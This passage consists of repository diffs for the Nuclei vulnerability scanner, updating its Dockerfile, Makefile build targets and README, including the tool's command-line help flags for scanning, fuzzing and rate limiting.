|
||||
```bash
|
||||
go tool trace nuclei.trace
|
||||
```
|
||||
|
||||
These tools help identify performance bottlenecks and memory leaks, allowing for targeted optimizations of Nuclei's codebase.
|
||||
|
||||
## Project Structure
|
||||
|
||||
- [pkg/reporting](./pkg/reporting) - Reporting modules for nuclei.
|
||||
|
||||
@@ -3,13 +3,12 @@ FROM golang:1.21-alpine AS build-env
|
||||
RUN apk add build-base
|
||||
WORKDIR /app
|
||||
COPY . /app
|
||||
WORKDIR /app
|
||||
RUN go mod download
|
||||
RUN go build ./cmd/nuclei
|
||||
|
||||
# Release
|
||||
FROM alpine:3.18.2
|
||||
RUN apk -U upgrade --no-cache \
|
||||
FROM alpine:3.18.6
|
||||
RUN apk upgrade --no-cache \
|
||||
&& apk add --no-cache bind-tools chromium ca-certificates
|
||||
COPY --from=build-env /app/nuclei /usr/local/bin/
|
||||
|
||||
|
||||
@@ -1,37 +1,141 @@
|
||||
# Go parameters
|
||||
GOCMD=go
|
||||
GOBUILD=$(GOCMD) build
|
||||
GOMOD=$(GOCMD) mod
|
||||
GOTEST=$(GOCMD) test
|
||||
GOCMD := go
|
||||
GOBUILD := $(GOCMD) build
|
||||
GOBUILD_OUTPUT :=
|
||||
GOBUILD_PACKAGES :=
|
||||
GOBUILD_ADDITIONAL_ARGS :=
|
||||
GOMOD := $(GOCMD) mod
|
||||
GOTEST := $(GOCMD) test
|
||||
GOFLAGS := -v
|
||||
# This should be disabled if the binary uses pprof
|
||||
LDFLAGS := -s -w
|
||||
|
||||
ifneq ($(shell go env GOOS),darwin)
|
||||
LDFLAGS := -extldflags "-static"
|
||||
LDFLAGS = -extldflags "-static"
|
||||
endif
|
||||
|
||||
.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs
|
||||
.PHONY: devtools-tsgen docs docgen dsl-docs functional fuzzplayground go-build syntax-docs
|
||||
.PHONY: integration jsupdate-all jsupdate-bindgen jsupdate-tsgen memogen scan-charts test
|
||||
.PHONY: tidy ts verify download vet template-validate
|
||||
|
||||
all: build
|
||||
build:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "nuclei" cmd/nuclei/main.go
|
||||
docs:
|
||||
if ! which dstdocgen > /dev/null; then
|
||||
echo -e "Command not found! Install? (y/n) \c"
|
||||
go get -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/dstdocgen
|
||||
|
||||
clean:
|
||||
rm -f '${GOBUILD_OUTPUT}' 2>/dev/null
|
||||
|
||||
go-build: clean
|
||||
go-build:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
|
||||
-o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES)
|
||||
|
||||
build: GOBUILD_OUTPUT = ./bin/nuclei
|
||||
build: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
build: go-build
|
||||
|
||||
build-stats: GOBUILD_OUTPUT = ./bin/nuclei-stats
|
||||
build-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
build-stats: GOBUILD_ADDITIONAL_ARGS = -tags=stats
|
||||
build-stats: go-build
|
||||
|
||||
scan-charts: GOBUILD_OUTPUT = ./bin/scan-charts
|
||||
scan-charts: GOBUILD_PACKAGES = cmd/scan-charts/main.go
|
||||
scan-charts: go-build
|
||||
|
||||
template-signer: GOBUILD_OUTPUT = ./bin/template-signer
|
||||
template-signer: GOBUILD_PACKAGES = cmd/tools/signer/main.go
|
||||
template-signer: go-build
|
||||
|
||||
docgen: GOBUILD_OUTPUT = ./bin/docgen
|
||||
docgen: GOBUILD_PACKAGES = cmd/docgen/docgen.go
|
||||
docgen: bin = dstdocgen
|
||||
docgen:
|
||||
@if ! which $(bin) >/dev/null; then \
|
||||
echo "Command $(bin) not found! Installing..."; \
|
||||
go install -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/$(bin)@latest; \
|
||||
fi
|
||||
# TODO: FIX THIS PANIC
|
||||
$(GOCMD) generate pkg/templates/templates.go
|
||||
$(GOBUILD) -o "cmd/docgen/docgen" cmd/docgen/docgen.go
|
||||
./cmd/docgen/docgen docs.md nuclei-jsonschema.json
|
||||
$(GOBUILD) -o "${GOBUILD_OUTPUT}" $(GOBUILD_PACKAGES)
|
||||
|
||||
docs: docgen
|
||||
docs:
|
||||
./bin/docgen docs.md nuclei-jsonschema.json
|
||||
|
||||
syntax-docs: docgen
|
||||
syntax-docs:
|
||||
./bin/docgen SYNTAX-REFERENCE.md nuclei-jsonschema.json
|
||||
|
||||
test: GOFLAGS = -race -v
|
||||
test:
|
||||
$(GOTEST) $(GOFLAGS) ./...
|
||||
|
||||
integration:
|
||||
cd integration_tests; bash run.sh
|
||||
|
||||
functional:
|
||||
cd cmd/functional-test; bash run.sh
|
||||
|
||||
tidy:
|
||||
$(GOMOD) tidy
|
||||
devtools:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "bindgen" pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "jsdocgen" pkg/js/devtools/jsdocgen/main.go
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "scrapefuncs" pkg/js/devtools/scrapefuncs/main.go
|
||||
|
||||
download:
|
||||
$(GOMOD) download
|
||||
|
||||
verify: download
|
||||
$(GOMOD) verify
|
||||
|
||||
vet: verify
|
||||
$(GOCMD) vet ./...
|
||||
|
||||
devtools-bindgen: GOBUILD_OUTPUT = ./bin/bindgen
|
||||
devtools-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
devtools-bindgen: go-build
|
||||
|
||||
devtools-tsgen: GOBUILD_OUTPUT = ./bin/tsgen
|
||||
devtools-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go
|
||||
devtools-tsgen: go-build
|
||||
|
||||
devtools-scrapefuncs: GOBUILD_OUTPUT = ./bin/scrapefuncs
|
||||
devtools-scrapefuncs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go
|
||||
devtools-scrapefuncs: go-build
|
||||
|
||||
devtools-all: devtools-bindgen devtools-tsgen devtools-scrapefuncs
|
||||
|
||||
jsupdate-bindgen: GOBUILD_OUTPUT = ./bin/bindgen
|
||||
jsupdate-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
jsupdate-bindgen: go-build
|
||||
jsupdate-bindgen:
|
||||
./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated
|
||||
|
||||
jsupdate-tsgen: GOBUILD_OUTPUT = ./bin/tsgen
|
||||
jsupdate-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go
|
||||
jsupdate-tsgen: go-build
|
||||
jsupdate-tsgen:
|
||||
./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated/ts
|
||||
|
||||
jsupdate-all: jsupdate-bindgen jsupdate-tsgen
|
||||
|
||||
ts: jsupdate-tsgen
|
||||
|
||||
fuzzplayground: GOBUILD_OUTPUT = ./bin/fuzzplayground
|
||||
fuzzplayground: GOBUILD_PACKAGES = cmd/tools/fuzzplayground/main.go
|
||||
fuzzplayground: LDFLAGS = -s -w
|
||||
fuzzplayground: go-build
|
||||
|
||||
memogen: GOBUILD_OUTPUT = ./bin/memogen
|
||||
memogen: GOBUILD_PACKAGES = cmd/memogen/memogen.go
|
||||
memogen: go-build
|
||||
memogen:
|
||||
./$(GOBUILD_OUTPUT) -src pkg/js/libs -tpl cmd/memogen/function.tpl
|
||||
|
||||
dsl-docs: GOBUILD_OUTPUT = ./bin/scrapefuncs
|
||||
dsl-docs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go
|
||||
dsl-docs:
|
||||
./$(GOBUILD_OUTPUT) -out dsl.md
|
||||
|
||||
template-validate: build
|
||||
template-validate:
|
||||
./bin/nuclei -ut
|
||||
./bin/nuclei -validate
|
||||
./bin/nuclei -validate -w workflows
|
||||
@@ -1,110 +1,110 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Fast and customisable vulnerability scanner based on simple YAML based DSL.</h4>
|
||||
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">How</a> •
|
||||
<a href="#install-nuclei">Install</a> •
|
||||
<a href="#for-security-engineers">For Security Engineers</a> •
|
||||
<a href="#for-developers-and-organizations">For Developers</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Documentation</a> •
|
||||
<a href="#credits">Credits</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||

|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">日本語</a>
|
||||
</p>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
|
||||
<img src="https://img.shields.io/badge/go-1.21-%2300ADD8.svg?style=for-the-badge&logo=go&logoColor=white">
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
---
|
||||
|
||||
Nuclei is used to send requests across targets based on a template, leading to zero false positives and providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols, including TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, Code etc. With powerful and flexible templating, Nuclei can be used to model all kinds of security checks.
|
||||
</p>
|
||||
|
||||
<br />
|
||||
|
||||
We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-templates) that houses various type of vulnerability templates contributed by **more than 300** security researchers and engineers.
|
||||
Nuclei is a modern, high-performance vulnerability scanner that leverages simple YAML-based templates. It empowers you to design custom vulnerability detection scenarios that mimic real-world conditions, leading to zero false positives.
|
||||
|
||||
## How it works
|
||||
- Simple YAML format for creating and customizing vulnerability templates.
|
||||
- Contributed by thousands of security professionals to tackle trending vulnerabilities.
|
||||
- Reduce false positives by simulating real-world steps to verify a vulnerability.
|
||||
- Ultra-fast parallel scan processing and request clustering.
|
||||
- Integrate into CI/CD pipelines for vulnerability detection and regression testing.
|
||||
- Supports multiple protocols like TCP, DNS, HTTP, SSL, WHOIS JavaScript, Code and more.
|
||||
- Integrate with Jira, Splunk, GitHub, Elastic, GitLab.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
- [Get Started](#get-started)
|
||||
- [1. Nuclei CLI](#1-nuclei-cli)
|
||||
- [2. Pro and Enterprise Editions](#2-pro-and-enterprise-editions)
|
||||
- [Documentation](#documentation)
|
||||
- [Command Line Flags](#command-line-flags)
|
||||
- [Single target scan](#single-target-scan)
|
||||
- [Scanning multiple targets](#scanning-multiple-targets)
|
||||
- [Network scan](#network-scan)
|
||||
- [Scanning with your custom template](#scanning-with-your-custom-template)
|
||||
- [Connect Nuclei to ProjectDiscovery](#connect-nuclei-to-projectdiscovery)
|
||||
- [Nuclei Templates, Community and Rewards 💎](#nuclei-templates-community-and-rewards-)
|
||||
- [Our Mission](#our-mission)
|
||||
- [Contributors ❤️](#contributors-️)
|
||||
- [License](#license)
|
||||
|
||||
---
|
||||
|
||||
| :exclamation: **Disclaimer** |
|
||||
|---------------------------------|
|
||||
| **This project is in active development**. Expect breaking changes with releases. Review the release changelog before updating. |
|
||||
| This project was primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. |
|
||||
| This project is primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. |
|
||||
|
||||
# Install Nuclei
|
||||
## Get Started
|
||||
|
||||
Nuclei requires **go1.21** to install successfully. Run the following command to install the latest version -
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
Install Nuclei on your machine. Get started by following the installation guide [here](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Additionally, We provide [a free cloud tier](https://cloud.projectdiscovery.io/sign-up) and comes with a generous monthly free limits:
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
- Store and visualize your vulnerability findings
|
||||
- Write and manage your nuclei templates
|
||||
- Access latest nuclei templates
|
||||
- Discover and store your targets
|
||||
|
||||
**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
|
||||
### **2. Pro and Enterprise Editions**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
For security teams and enterprises, we provide a cloud-hosted service built on top of Nuclei OSS, fine-tuned to help you continuously run vulnerability scans at scale with your team and existing workflows:
|
||||
|
||||
### Nuclei Templates
|
||||
- 50x faster scans
|
||||
- Large scale scanning with high accuracy
|
||||
- Integrations with cloud services (AWS, GCP, Azure, CloudFlare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, APIs and Webhooks
|
||||
- Executive and compliance reporting
|
||||
- Plus: Real-time scanning, SAML SSO, SOC 2 compliant platform (with EU and US hosting options), shared team workspaces, and more
|
||||
- We're constantly [adding new features](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Ideal for:** Pentesters, security teams, and enterprises
|
||||
|
||||
Nuclei has built-in support for automatic template download/update as default since version [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) project provides a community-contributed list of ready-to-use templates that is constantly updated.
|
||||
## Documentation
|
||||
|
||||
You may still use the `update-templates` flag to update the nuclei templates at any time; You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://nuclei.projectdiscovery.io/templating-guide/).
|
||||
Browse the full Nuclei [documentation here](https://docs.projectdiscovery.io/tools/nuclei/running). If you’re new to Nuclei, check out our [foundational Youtube series.](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl)
|
||||
|
||||
The YAML DSL reference syntax is available [here](SYNTAX-REFERENCE.md).
|
||||
<p align="center">
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
### Usage
|
||||
</p>
|
||||
|
||||
### Command Line Flags
|
||||
|
||||
To display all the flags for the tool:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
This will display help for the tool. Here are all the switches it supports.
|
||||
|
||||
<details>
|
||||
<summary>Expand full help flags</summary>
|
||||
|
||||
```console
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
@@ -115,11 +115,17 @@ Usage:
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
@@ -133,6 +139,10 @@ TEMPLATES:
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
@@ -141,13 +151,13 @@ FILTERING:
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
@@ -157,8 +167,9 @@ OUTPUT:
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
@@ -167,9 +178,12 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
@@ -189,16 +203,17 @@ CONFIGURATIONS:
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
@@ -210,40 +225,49 @@ INTERACTSH:
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (default shodan)
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
